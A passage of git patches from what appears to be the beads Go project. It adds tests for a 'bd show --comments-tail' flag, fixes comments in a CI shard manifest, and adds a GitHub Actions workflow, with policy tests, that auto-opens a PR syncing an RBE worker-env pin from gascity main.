--comments-tail 1: the elision line, the newest comment, and neither +// of the two hidden ones. +func assertCommentsTailOne(t *testing.T, route, out, issueID string) { + t.Helper() + if want := commentsTailElision(2, issueID); !strings.Contains(out, want) { + t.Errorf("%s: elision line missing, want %q in:\n%s", route, want, out) + } + if !strings.Contains(out, commentsTailNewest) { + t.Errorf("%s: newest comment %q missing from the capped render:\n%s", route, commentsTailNewest, out) + } + for _, hidden := range []string{commentsTailOldest, commentsTailOlder} { + if strings.Contains(out, hidden) { + t.Errorf("%s: hidden comment %q rendered under --comments-tail 1:\n%s", route, hidden, out) + } + } +} + +// stripShowTips removes the "💡 Tip: …" line maybeShowTip (show.go, on the +// direct route after a text render) may append. Whether a tip prints is a +// per-run probability roll behind a per-tip frequency gate recorded in the +// store, independent of --comments-tail, so of two renders that are +// otherwise identical one can carry the tip and the other not. Trailing +// newlines are normalized with it, since the tip block arrives as a blank +// line plus the tip line. +func stripShowTips(out string) string { + var kept []string + for _, line := range strings.Split(out, "\n") { + if strings.HasPrefix(line, "💡 Tip: ") { + continue + } + kept = append(kept, line) + } + return strings.TrimRight(strings.Join(kept, "\n"), "\n") + "\n" +} + +// assertCommentsTailOff checks that a render with the flag in its off state +// (0, or a cap at or above the count) is byte-identical to a render without +// the flag (tips stripped, see stripShowTips), and that the uncapped render +// carries every comment and no elision line. +func assertCommentsTailOff(t *testing.T, route, withFlag, without string) { + t.Helper() + withFlag, without = stripShowTips(withFlag), stripShowTips(without) + if withFlag != without { + t.Errorf("%s: render differs from the flag's absence\n--- with flag\n%s\n--- without\n%s", route, withFlag, without) + } + for _, text := range commentsTailTexts { + if !strings.Contains(without, text) { + t.Errorf("%s: uncapped render lacks comment %q:\n%s", route, text, without) + } + } + if strings.Contains(without, "older comment") { + t.Errorf("%s: uncapped render carries an elision line:\n%s", route, without) + } +} + +// runShowWatchOnce starts `bd show ` (the caller passes --watch), waits +// for the first render to land, stops the watch with SIGINT and returns the +// stdout of that single render. The render/quiet/stop choreography is the +// one TestProxiedServerShowWatch uses, so see its comments for why the +// banner alone is not proof that stdout has fully landed. +func runShowWatchOnce(t *testing.T, bd, dir string, env []string, args ...string) string { + t.Helper() + stdout := &watchBannerWriter{renders: make(chan int, 1)} + stderr := &watchBannerWriter{renders: make(chan int, 1)} + cmd := exec.Command(bd, append([]string{"show"}, args...)...) + cmd.Dir = dir + cmd.Env = env + cmd.Stdout = stdout + cmd.Stderr = stderr + if err := cmd.Start(); err != nil { + t.Fatalf("start bd show %s: %v", strings.Join(args, " "), err) + } + var waitErr error + exited := make(chan struct{}) + go func() { + waitErr = cmd.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = cmd.Process.Kill() + <-exited + }) + if !stderr.waitForRender(1, 60*time.Second, exited) { + t.Fatalf("bd show %s never started watching\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), stdout.String(), stderr.String()) + } + stdout.waitForQuiet(500*time.Millisecond, 10*time.Second, exited) + if err := cmd.Process.Signal(syscall.SIGINT); err != nil { + t.Fatalf("signal bd show --watch: %v", err) + } + select { + case <-exited: + if waitErr != nil { + t.Fatalf("bd show %s exited with %v after SIGINT, want 0\nstderr:\n%s", strings.Join(args, " "), waitErr, stderr.String()) + } + case <-time.After(30 * time.Second): + t.Fatalf("bd show %s ignored SIGINT\nstderr:\n%s", strings.Join(args, " "), stderr.String()) + } + return stdout.String() +} + +// TestProxiedServerShowCommentsTail drives the proxied route +// (show_proxied_server.go) and the proxied --watch route +// (show_proxied_watch.go) through the built binary against the shared +// proxied server. +func TestProxiedServerShowCommentsTail(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "pct") + issue := bdProxiedCreate(t, bd, p.dir, "Tail me", "--type", "task") + for _, text := range commentsTailTexts { + bdProxiedComment(t, bd, p.dir, issue.ID, text) + } + + t.Run("proxied_tail_1", func(t *testing.T) { + t.Parallel() + out := bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "1") + assertCommentsTailOne(t, "proxied", out, issue.ID) + }) + + t.Run("proxied_off_state_matches_absence", func(t *testing.T) { + t.Parallel() + without := bdProxiedShowRaw(t, bd, p.dir, issue.ID) + assertCommentsTailOff(t, "proxied --comments-tail 0", bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "0"), without) + assertCommentsTailOff(t, "proxied --comments-tail 5", bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "5"), without) + }) + + t.Run("proxied_negative_is_usage_error", func(t *testing.T) { + t.Parallel() + stdout, stderr := bdProxiedShowFail(t, bd, p.dir, issue.ID, "--comments-tail", "-1") + combined := stdout + stderr + if !strings.Contains(combined, "--comments-tail") || !strings.Contains(combined, "non-negative") { + t.Errorf("negative cap did not fail as a usage error\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + }) + + t.Run("proxied_json_untouched", func(t *testing.T) { + t.Parallel() + withFlag, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "show", issue.ID, "--json", "--include-comments", "--comments-tail", "1") + if err != nil { + t.Fatalf("bd show --json --comments-tail 1 failed: %v\n%s", err, stderr) + } + without, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "show", issue.ID, "--json", "--include-comments") + if err != nil { + t.Fatalf("bd show --json failed: %v\n%s", err, stderr) + } + if withFlag != without { + t.Errorf("--json output changed under --comments-tail 1\n--- with flag\n%s\n--- without\n%s", withFlag, without) + } + if !strings.Contains(withFlag, commentsTailOldest) { + t.Errorf("--json --include-comments dropped the oldest comment under --comments-tail 1:\n%s", withFlag) + } + }) + + t.Run("proxied_watch_tail_1", func(t *testing.T) { + t.Parallel() + out := runShowWatchOnce(t, bd, p.dir, bdProxiedEnv(p.dir), issue.ID, "--watch", "--comments-tail", "1") + assertCommentsTailOne(t, "proxied --watch", out, issue.ID) + }) +} From 11b5d3271ecf868c3c0dcc273cf4d471c10a9b54 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 10 Oct 2026 05:28:43 +0000 Subject: [PATCH 206/325] docs(proxied): name the Close3/Close4 legacy pins and fix the Close3 doc comment (#7173 follow-up) (#7382) * docs(proxied): name the Close3/Close4 legacy pins and fix the Close3 doc comment (#7173 follow-up) Two non-blocking findings from the #7173 adoption review (bd-vrdrew, bd-dars9p), both in bee's code, neither addressed in that PR: - The doc comment on TestProxiedServerClose3 still called it "the second half of TestProxiedServerClose"; after the second split it is the middle of the three parents (Close, Close3, Close4). Say so, and name Close4 as its own second half. - In the frozen 15-shard block of .github/scripts/proxied-cmd-test-shards.txt the lines `15 13 TestProxiedServerClose3` and `15 2 TestProxiedServerClose4` sat inside the shard-1 and shard-7 groups (#7173's last commit moved the pins from 1 and 7 to 13 and 2 without moving the lines), and the header's "Deliberate exception (Oct 2026)" paragraph did not name them. The two lines now sit alphabetically inside their own shard groups, the header names them with the reason and the measured times, and the generator's hand-pin paragraph (scripts/ci/gen_proxied_shard_manifest.py) names them too so the two texts stay in step. The lines were inert either way: proxied-test-shard.sh matches each line by field. No test moves shard: the 15-shard block's line set is unchanged apart from order (sorted diff empty) and the 30-shard block is byte-identical. Verified: gofmt -l (clean); go vet ./cmd/bd/ (exit 0); gen_proxied_shard_manifest.py 30 --weights=duration --check (exit 0, heaviest 435.1s est, unchanged); 15 --check reports the same 30 hashed names missing as main (the frozen block is expected to fail it); proxied-test-shard.sh list-only: Close3 on 13/15, Close4 on 2/15, neither on 1/15 or 7/15; go test ./scripts/ -run 'Shard|Manifest|Coverage' ok 38.6s. Co-Authored-By: Claude Fable 5.1 * docs(proxied): count CloseB in the Close3 comment; say why shard 5 got no pin Maintainer fixup from the adoption review of #7382 (bd-g6pyb0), on top of bee's commit, which stays as written. Comment and manifest-header text only: no test body, shard assignment or routing changes. - TestProxiedServerClose3's doc comment called it "the middle of the three parents TestProxiedServerClose was split into (Close, Close3, Close4)". That held at the PR's original base, but #7418, on main since, moved five of Close's eleven cases into a new TestProxiedServerCloseB, so the 23 bd-init subtests of the pre-#7173 TestProxiedServerClose now sit in four parents: Close 6, CloseB 5, Close3 6, Close4 6 (their union is exactly the pre-#7173 set, no duplicates). The comment now says Close3 was split off Close, names all four parents, and keeps "Its own second half is TestProxiedServerClose4." - The frozen 15-shard block's header said #7173 pinned Close3 and Close4 onto "the two lightest shards of that PR's own run (6m51s and 7m57s)". On that run (37206446441, at 765248af5) shard 5 was lighter still, at 5m50s; #7173 passed over it on purpose, because it was light only because those 12 subtests had just left it and putting Close3 back would recreate most of the set that timed out. The header now says "other than shard 5 itself" and gives that reason. This commit also supersedes the parts of the parent commit's message that the rebase onto c21880105f outdated: - "after the second split it is the middle of the three parents (Close, Close3, Close4)": four parents now, as above. - "the 30-shard block is byte-identical": the Bazel-only block is 34 shards now (#7418 made it 44, #7436 34), and that block is byte-identical to the base's. - "gen_proxied_shard_manifest.py 30 --weights=duration --check (exit 0, heaviest 435.1s est, unchanged)": with no 30-shard block left, that command now exits 1 ("has no block for total_shards=30"). Its current form, 34 --weights=duration --check, exits 0 with the heaviest shard at 196.1 s est., the same before and after this commit. - "15 --check reports the same 30 hashed names missing as main": it now reports 53, the same set as against the base's manifest. Verified: git diff --check clean; gofmt -l clean (the Go change is comment-only); with '#' lines stripped as proxied-test-shard.sh strips them, the manifest is identical before and after; gen_proxied_shard_manifest.py 15 --check and 34 --weights=duration --check print the same output before and after (exit 1 with 53 missing; exit 0, heaviest 196.1 s); BEADS_TEST_SHARD_LIST_ONLY=1 proxied-test-shard.sh lists for 1, 2, 7 and 13 of 15 are unchanged (Close3 on 13, Close4 on 2, neither on 1 or 7); go test ./scripts/ -run 'Shard|Manifest|Coverage' ok (21 top-level tests, none skipped). Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- .github/scripts/proxied-cmd-test-shards.txt | 13 +++++++++++-- cmd/bd/close_proxied_integration_test.go | 13 ++++++++----- scripts/ci/gen_proxied_shard_manifest.py | 4 +++- 3 files changed, 22 insertions(+), 8 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 97ff8d2cd..aaec871fd 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -34,6 +34,15 @@ # have no socat, so today it skips here; the pin keeps shard 14 safe if # socat is ever installed. # +# TestProxiedServerClose3 (shard 13) and TestProxiedServerClose4 (shard 2) +# are the two parents gastownhall/beads#7173 split off TestProxiedServerClose +# to pull shard 5 (15m+) back under the timeout, pinned onto the two +# lightest shards of that PR's own run other than shard 5 itself (6m51s +# and 7m57s; shard 5 ran 5m50s only because their 12 subtests had just +# left it, and putting Close3 back would recreate most of the set that +# timed out) rather than hashed; the lines are listed under their shards +# like every other pin. +# # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator instead. Known blind spots # of the cost proxy (it counts inits, not the work done per init): @@ -51,7 +60,6 @@ # a doc comment. 15 1 TestProxiedServerBlocked -15 13 TestProxiedServerClose3 15 1 TestProxiedServerCompactDolt 15 1 TestProxiedServerCreate 15 1 TestProxiedServerDep2 @@ -64,6 +72,7 @@ 15 1 TestProxiedServerServeRefusesAStreamOnADisabledJournal 15 1 TestProxiedServerUpdateConcurrentClaim +15 2 TestProxiedServerClose4 15 2 TestProxiedServerCompactHistory 15 2 TestProxiedServerCreate2 15 2 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge @@ -119,7 +128,6 @@ 15 7 TestProxiedServerAssign 15 7 TestProxiedServerBackupRefusedOnExternalTopology -15 2 TestProxiedServerClose4 15 7 TestProxiedServerCount 15 7 TestProxiedServerGC 15 7 TestProxiedServerList @@ -185,6 +193,7 @@ 15 12 TestProxiedServerTypes 15 12 TestProxiedServerUpdateClosePolicy +15 13 TestProxiedServerClose3 15 13 TestProxiedServerDeleteConcurrent 15 13 TestProxiedServerInfo 15 13 TestProxiedServerMolSquash diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 0e349f740..94baa1ad6 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -358,11 +358,14 @@ func TestProxiedServerCloseB(t *testing.T) { }) } -// TestProxiedServerClose3 is the second half of TestProxiedServerClose, -// split off (as TestProxiedServerClose2 was before it) so that no single -// top-level suite carries 23 bd-init subtests: that one parent alone cost -// ~2060 slot-seconds under -test.parallel=4 and pushed its 15-shard legacy -// shard past go test's 15m timeout on every run (gastownhall/beads#7151). +// TestProxiedServerClose3 was split off TestProxiedServerClose (as +// TestProxiedServerClose2 was before it) so that no single top-level suite +// carries 23 bd-init subtests: that one parent alone cost ~2060 +// slot-seconds under -test.parallel=4 and pushed its 15-shard legacy shard +// past go test's 15m timeout on every run (gastownhall/beads#7151). Those +// 23 now sit in TestProxiedServerClose, TestProxiedServerCloseB, +// TestProxiedServerClose3 and TestProxiedServerClose4. Its own second half +// is TestProxiedServerClose4. func TestProxiedServerClose3(t *testing.T) { requireSharedProxiedServer(t) t.Parallel() diff --git a/scripts/ci/gen_proxied_shard_manifest.py b/scripts/ci/gen_proxied_shard_manifest.py index ecac80c89..a6f04a7db 100644 --- a/scripts/ci/gen_proxied_shard_manifest.py +++ b/scripts/ci/gen_proxied_shard_manifest.py @@ -222,7 +222,9 @@ def render(total, shards, weights): out.append('# TestProxiedServerListComments and') out.append('# TestProxiedServerServeRefusesAStreamOnADisabledJournal; and for') out.append('# TestProxiedServerOutageReconnectAcceptanceMatrix, pinned to shard 1') - out.append('# instead of hashing onto shard 14).') + out.append('# instead of hashing onto shard 14; and for TestProxiedServerClose3') + out.append('# and TestProxiedServerClose4, the parents #7173 split off') + out.append('# TestProxiedServerClose, pinned to shards 13 and 2).') else: out.append(f'# {total}-shard split for the Bazel-only proxied-server tier') out.append('# (bazel-proxied in .github/workflows/bazel.yml), bin-packed') From b3cdbf9e466f49ec2a2ae1030d72d964e15d8ee8 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 05:58:24 +0000 Subject: [PATCH 207/325] ci(rbe): auto-PR a worker-env pin sync when gascity main re-pins (mc-gv9fk) (#7455) rbe-west's pool workers advertise gastownhall/gascity main's worker-env pin; when gascity re-pins (a Go/dolt/OS bump, e.g. #7387) beads' copy falls out of step and every remote-execution run stops in bazel.yml's preflight until a human notices and copies the fix by hand (#7419 took ~100 minutes). This adds a scheduled workflow (every 15 minutes, plus workflow_dispatch) that runs tools/rbe/worker-env-sync against gascity main, and on a real mismatch (exit 1) copies the manifest and pin with the new tools/rbe/worker-env-sync-copy, opens/updates a PR on a fixed branch with status/needs-review-auto, and arms auto-merge. GitHub never runs checks on a PR a plain GITHUB_TOKEN opens, so this needs a GitHub App token -- but gastownhall-autofix (contents:write on this repo) cannot open or label a PR. Two Apps split the two write roles instead: gastownhall-autofix mints push-token (contents:write only) and does the git push of bot/worker-env-sync via plain git; gascity-autofix (pull-requests:write only) mints pr-token and does everything PR-shaped -- create/update, the label, and arming auto-merge -- via gh. peter-evans/create-pull-request takes one token for the whole flow, so it can't honor this split; plain git and gh replace it. Every ${{ }} is resolved into a step's env: first, never written inside a run: script. Both Apps' id/private-key secrets live in the same autofix environment, gated by its deployment-branch policy to main; schedule and workflow_dispatch are never fork events, so neither key is ever readable by a fork. Needs admin setup: the gascity-autofix App (id 5259233) installed on gastownhall/beads (and gascity) with pull-requests:write and metadata read, and its GASCITY_AUTOFIX_APP_ID / GASCITY_AUTOFIX_APP_PRIVATE_KEY secrets added to the autofix environment alongside the existing AUTOFIX_APP_ID / AUTOFIX_APP_PRIVATE_KEY. Co-authored-by: Claude Sonnet 5 --- .github/workflows/worker-env-autosync.yml | 196 ++++++++++++++++ scripts/BUILD.bazel | 1 + scripts/worker_env_autosync_test.go | 259 ++++++++++++++++++++++ tools/rbe/worker-env-sync-copy | 41 ++++ 4 files changed, 497 insertions(+) create mode 100644 .github/workflows/worker-env-autosync.yml create mode 100644 scripts/worker_env_autosync_test.go create mode 100755 tools/rbe/worker-env-sync-copy diff --git a/.github/workflows/worker-env-autosync.yml b/.github/workflows/worker-env-autosync.yml new file mode 100644 index 000000000..2978a5617 --- /dev/null +++ b/.github/workflows/worker-env-autosync.yml @@ -0,0 +1,196 @@ +# Keep beads' rbe worker-env pin in step with gastownhall/gascity main +# without the ~100-minute wait #7419 fixed by hand. +# +# rbe-west's OSS pool is gascity's: its workers advertise the sha256 of the +# toolchain manifest gascity's tools/rbe/worker-env measures, and the +# schedulers match //platforms:rbe_worker's worker-env exec property +# exactly. beads' tools/rbe/worker-env.txt and the platforms/BUILD.bazel pin +# are a byte-for-byte copy of gascity main's; when gascity moves the pin (a +# Go, dolt, or OS/library bump -- #7387 was a Go security release), every +# beads remote-execution run stops in bazel.yml's rbe-job preflight +# (tools/rbe/worker-env-sync) until the copy catches up. nightly.yml's +# rbe-worker-env-sync job already opens a ci/infra issue for a human to fix; +# this instead opens the fix itself, every 15 minutes, so the gap is +# minutes, not until someone reads the issue. +# +# tools/rbe/worker-env-sync only detects the mismatch (exit 1) or that it +# could not compare with gascity (exit 2, e.g. GitHub is briefly +# unreachable; the next run retries). The write half, tools/rbe/worker-env- +# sync-copy, runs only after that exit-1 detection, on a checkout already in +# hand -- so a transient gascity outage can turn "in step" into "unknown", +# never into an unwanted write. +# +# TWO TOKENS, ONE JOB EACH: GitHub never runs checks on a PR a plain +# GITHUB_TOKEN opens (its loop-prevention rule), so this needs a GitHub App +# token to open the PR. The gastownhall-autofix App (contents:write only on +# this repo) mints push-token and does the git push of the fixed branch +# (bot/worker-env-sync); it cannot open, label or merge a PR. The separate +# gascity-autofix App (pull-requests:write only, no contents) mints pr-token +# and does everything PR-shaped: create/update, the status/needs-review-auto +# label, and arming auto-merge. Splitting them means a bug in the PR-shaped +# half can never push a commit, and a bug in the push half can never touch a +# PR; neither token can do the other's job even by accident. Both Apps' +# credentials are secrets of the same `autofix` environment. +# +# peter-evans/create-pull-request takes one token for the whole push+PR +# flow, so it cannot honor this split; this uses plain git for the push and +# gh for the PR instead. Every `${{ }}` is resolved into a step's `env:`, +# never written inside a `run:` script, so a value that happened to look +# like shell (a title or body containing `` ` `` or `$`) is data to the +# shell, not something GitHub's expression syntax or the shell re-parses. +# +# SECURITY: schedule and workflow_dispatch are never fork events (no +# pull_request trigger here at all), so neither App's private key -- secrets +# of the `autofix` environment, whose deployment-branch policy allows only +# main -- is ever readable by a fork. The guard on github.repository is +# defense in depth for a fork of this repo, where the secrets would not +# exist anyway. Both mint steps run only once worker-env-sync has already +# found a real mismatch, so a run that is in step or can't compare asks +# neither App for a token. gh pr merge --auto only arms GitHub's native +# auto-merge (it still waits for every required check and the branch +# protection rule); it does not merge anything itself. +name: rbe worker-env autosync + +on: + schedule: + - cron: "*/15 * * * *" + workflow_dispatch: + +permissions: + contents: read + +jobs: + autosync: + name: Sync worker-env pin with gascity main + if: github.repository == 'gastownhall/beads' + runs-on: ubuntu-latest + timeout-minutes: 10 + # Grants the job read access to this environment's secrets (both Apps' + # id and private key); its deployment-branch policy restricts that to + # jobs running on main, which schedule and workflow_dispatch on this + # repo always are. + environment: autofix + permissions: + contents: read + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + with: + persist-credentials: false + + # Never fails the step itself: rc is the signal every later step + # gates on (1, a real mismatch; 2, gascity unreachable -- the next + # scheduled run retries; 0, in step). A run every 15 minutes failing + # red for however long a mismatch takes to review and merge would be + # noise, not signal. + - name: Compare the worker-env manifest and pin with gascity's main + id: sync + run: | + rc=0 + tools/rbe/worker-env-sync main || rc=$? + echo "rc=$rc" >> "$GITHUB_OUTPUT" + + - name: Copy gascity main's worker-env manifest and pin + if: steps.sync.outputs.rc == '1' + run: tools/rbe/worker-env-sync-copy main + + - name: Confirm only the worker-env files moved + if: steps.sync.outputs.rc == '1' + run: | + changed="$(git diff --name-only)" + untracked="$(git ls-files --others --exclude-standard)" + want=$'platforms/BUILD.bazel\ntools/rbe/worker-env.txt' + if [ -n "$untracked" ] || [ "$(printf '%s\n' "$changed" | sort)" != "$(printf '%s\n' "$want" | sort)" ]; then + echo "::error::worker-env-sync-copy touched more than platforms/BUILD.bazel and tools/rbe/worker-env.txt:" + printf '%s\n' "$changed" "$untracked" + exit 1 + fi + + # contents:write only, on this repo alone: all it can do is push + # bot/worker-env-sync. Minted only once a real mismatch needs a push. + - name: Mint push token (gastownhall-autofix) + id: push-token + if: steps.sync.outputs.rc == '1' + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3 + with: + app-id: ${{ secrets.AUTOFIX_APP_ID }} + private-key: ${{ secrets.AUTOFIX_APP_PRIVATE_KEY }} + owner: gastownhall + repositories: beads + permission-contents: write + + # pull-requests:write only, on this repo alone: all it can do is + # open, label and arm auto-merge on a PR -- never push a commit. + - name: Mint PR token (gascity-autofix) + id: pr-token + if: steps.sync.outputs.rc == '1' + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3 + with: + app-id: ${{ secrets.GASCITY_AUTOFIX_APP_ID }} + private-key: ${{ secrets.GASCITY_AUTOFIX_APP_PRIVATE_KEY }} + owner: gastownhall + repositories: beads + permission-pull-requests: write + + # push-token alone; it cannot see a PR exists, let alone touch one. + # Leased to the branch: a force-with-lease scoped to refs/heads/ + # bot/worker-env-sync only, so a push can never move any other ref. + - name: Commit and push the sync branch + if: steps.sync.outputs.rc == '1' + env: + PUSH_TOKEN: ${{ steps.push-token.outputs.token }} + REPO: ${{ github.repository }} + BRANCH: bot/worker-env-sync + COMMIT_SUBJECT: "build(rbe): sync worker-env pin with gascity main" + GIT_AUTHOR_NAME: gastownhall-autofix[bot] + GIT_AUTHOR_EMAIL: gastownhall-autofix[bot]@users.noreply.github.com + GIT_COMMITTER_NAME: gastownhall-autofix[bot] + GIT_COMMITTER_EMAIL: gastownhall-autofix[bot]@users.noreply.github.com + run: | + git checkout -B "$BRANCH" + git add platforms/BUILD.bazel tools/rbe/worker-env.txt + git commit -m "$COMMIT_SUBJECT" + git push "https://x-access-token:${PUSH_TOKEN}@github.com/${REPO}.git" \ + "HEAD:refs/heads/$BRANCH" "--force-with-lease=refs/heads/$BRANCH" + + # pr-token alone; it cannot push a commit, only act on the PR the + # step above already pushed. + - name: Open or update the sync PR + id: pr + if: steps.sync.outputs.rc == '1' + env: + GH_TOKEN: ${{ steps.pr-token.outputs.token }} + REPO: ${{ github.repository }} + BRANCH: bot/worker-env-sync + TITLE: "build(rbe): sync worker-env pin with gascity main" + LABEL: status/needs-review-auto + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: | + body="$(cat <> "$GITHUB_OUTPUT" + + - name: Enable auto-merge + if: steps.sync.outputs.rc == '1' && steps.pr.outputs.number + env: + GH_TOKEN: ${{ steps.pr-token.outputs.token }} + REPO: ${{ github.repository }} + PR_NUMBER: ${{ steps.pr.outputs.number }} + run: gh pr merge --auto --squash --repo "$REPO" "$PR_NUMBER" diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 08cf03e48..b3d3294a1 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -61,6 +61,7 @@ go_test( "pr_risk_bazel_coverage_test.go", "rbe_worker_env_test.go", "repo_helpers_test.go", + "worker_env_autosync_test.go", ], # keep data = [ "//:repo_other_files", diff --git a/scripts/worker_env_autosync_test.go b/scripts/worker_env_autosync_test.go new file mode 100644 index 000000000..f3a4871f7 --- /dev/null +++ b/scripts/worker_env_autosync_test.go @@ -0,0 +1,259 @@ +package scripts_test + +import ( + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// worker-env-autosync.yml closes the #7419 gap: nightly.yml's rbe-worker- +// env-sync job only opens a ci/infra issue for a human to fix a gascity +// re-pin (#7387's ~100-minute stall); this instead runs tools/rbe/worker- +// env-sync every 15 minutes and, on a real mismatch (exit 1), copies +// gascity main's manifest and pin (tools/rbe/worker-env-sync-copy) and +// opens or updates a fixed-branch PR with auto-merge armed. +const ( + workerEnvAutosyncWorkflow = "worker-env-autosync.yml" + workerEnvAutosyncJob = "autosync" + workerEnvAutosyncBranch = "bot/worker-env-sync" + workerEnvSyncCopy = "tools/rbe/worker-env-sync-copy" +) + +// TestWorkerEnvAutosyncWorkflowTriggersOnScheduleAndDispatchOnly: the App +// private key this job mints is a secret of the autofix environment +// (deployment-branch policy: main only), and the only events that can ever +// run on main without a fork in the loop are schedule and workflow_dispatch +// -- pull_request (or pull_request_target) here would hand a fork a path to +// it. +func TestWorkerEnvAutosyncWorkflowTriggersOnScheduleAndDispatchOnly(t *testing.T) { + var parsed struct { + On map[string]any `yaml:"on"` + } + text := readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+workerEnvAutosyncWorkflow) + if err := yaml.Unmarshal([]byte(text), &parsed); err != nil { + t.Fatal(err) + } + if got := len(parsed.On); got != 2 { + t.Fatalf("%s on: has %d triggers (%v), want exactly schedule and workflow_dispatch", workerEnvAutosyncWorkflow, got, parsed.On) + } + if _, ok := parsed.On["workflow_dispatch"]; !ok { + t.Errorf("%s has no workflow_dispatch trigger", workerEnvAutosyncWorkflow) + } + schedule, ok := parsed.On["schedule"].([]any) + if !ok || len(schedule) != 1 { + t.Fatalf("%s schedule = %+v, want exactly one cron entry", workerEnvAutosyncWorkflow, parsed.On["schedule"]) + } + cron, _ := schedule[0].(map[string]any) + if cron["cron"] != "*/15 * * * *" { + t.Errorf("%s schedule cron = %v, want */15 * * * * (every 15 minutes)", workerEnvAutosyncWorkflow, cron["cron"]) + } + for _, forbidden := range []string{"pull_request", "pull_request_target", "push", "merge_group", "workflow_run"} { + if _, ok := parsed.On[forbidden]; ok { + t.Errorf("%s must never run on %s (forks or an unprivileged push could reach the autofix App token)", workerEnvAutosyncWorkflow, forbidden) + } + } +} + +// TestWorkerEnvAutosyncWorkflowPermissionsAreMinimal: least privilege. +// Top-level and the job's own grant both stay read-only: every write this +// job makes (the push, the PR, the label, auto-merge) goes through one of +// the two minted App tokens, never the job's own GITHUB_TOKEN permissions, +// so there is nothing here for either App token's role to leak into. +func TestWorkerEnvAutosyncWorkflowPermissionsAreMinimal(t *testing.T) { + var top struct { + Permissions map[string]string `yaml:"permissions"` + } + text := readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+workerEnvAutosyncWorkflow) + if err := yaml.Unmarshal([]byte(text), &top); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(top.Permissions, map[string]string{"contents": "read"}) { + t.Errorf("%s top-level permissions = %v, want contents: read", workerEnvAutosyncWorkflow, top.Permissions) + } + + job := readCIWorkflow(t, workerEnvAutosyncWorkflow).job(t, workerEnvAutosyncJob) + wantJobPerms := map[string]any{"contents": "read"} + if !reflect.DeepEqual(job.Permissions, wantJobPerms) { + t.Errorf("%s job %s permissions = %v, want %v (contents:read alone; both write roles come from the minted App tokens)", workerEnvAutosyncWorkflow, workerEnvAutosyncJob, job.Permissions, wantJobPerms) + } + if job.RunsOn != "ubuntu-latest" { + t.Errorf("%s job %s runs-on = %q, want ubuntu-latest", workerEnvAutosyncWorkflow, workerEnvAutosyncJob, job.RunsOn) + } + if job.If != "github.repository == 'gastownhall/beads'" { + t.Errorf("%s job %s if = %q, want the fork guard github.repository == 'gastownhall/beads'", workerEnvAutosyncWorkflow, workerEnvAutosyncJob, job.If) + } + if job.Environment.Name != "autofix" { + t.Errorf("%s job %s environment = %q, want autofix (both Apps' id/private-key secrets live there, gated to main)", workerEnvAutosyncWorkflow, workerEnvAutosyncJob, job.Environment.Name) + } +} + +// TestWorkerEnvAutosyncWorkflowShape: the job compares with gascity main, +// gates every write step on a real mismatch (rc == 1, never rc == 2's +// "unknown" or rc == 0's "in step"), mints two App tokens only once a +// mismatch needs a write, pushes the fixed branch with push-token alone, +// opens/labels the PR and arms auto-merge with pr-token alone (so it is +// not a GITHUB_TOKEN PR - those never trigger CI), and arms auto-merge +// rather than merging directly. +func TestWorkerEnvAutosyncWorkflowShape(t *testing.T) { + job := readCIWorkflow(t, workerEnvAutosyncWorkflow).job(t, workerEnvAutosyncJob) + + sync := job.step(t, "Compare the worker-env manifest and pin with gascity's main") + if sync.ID != "sync" || !strings.Contains(sync.Run, "tools/rbe/worker-env-sync main") { + t.Errorf("sync step: id %q, run %q; want id sync running tools/rbe/worker-env-sync main", sync.ID, sync.Run) + } + + const mismatchIf = "steps.sync.outputs.rc == '1'" + for _, name := range []string{ + "Copy gascity main's worker-env manifest and pin", + "Confirm only the worker-env files moved", + "Mint push token (gastownhall-autofix)", + "Mint PR token (gascity-autofix)", + "Commit and push the sync branch", + "Open or update the sync PR", + } { + step := job.step(t, name) + if step.If != mismatchIf { + t.Errorf("step %q if = %q, want %q (a write step must run only on a real mismatch)", name, step.If, mismatchIf) + } + } + + copyStep := job.step(t, "Copy gascity main's worker-env manifest and pin") + if !strings.Contains(copyStep.Run, workerEnvSyncCopy+" main") { + t.Errorf("copy step run %q, want it to call %s main", copyStep.Run, workerEnvSyncCopy) + } + + pushMint := job.step(t, "Mint push token (gastownhall-autofix)") + if pushMint.ID != "push-token" || actionFamily(pushMint.Uses) != "actions/create-github-app-token" || + pushMint.With["app-id"] != "${{ secrets.AUTOFIX_APP_ID }}" || pushMint.With["private-key"] != "${{ secrets.AUTOFIX_APP_PRIVATE_KEY }}" || + pushMint.With["permission-contents"] != "write" || 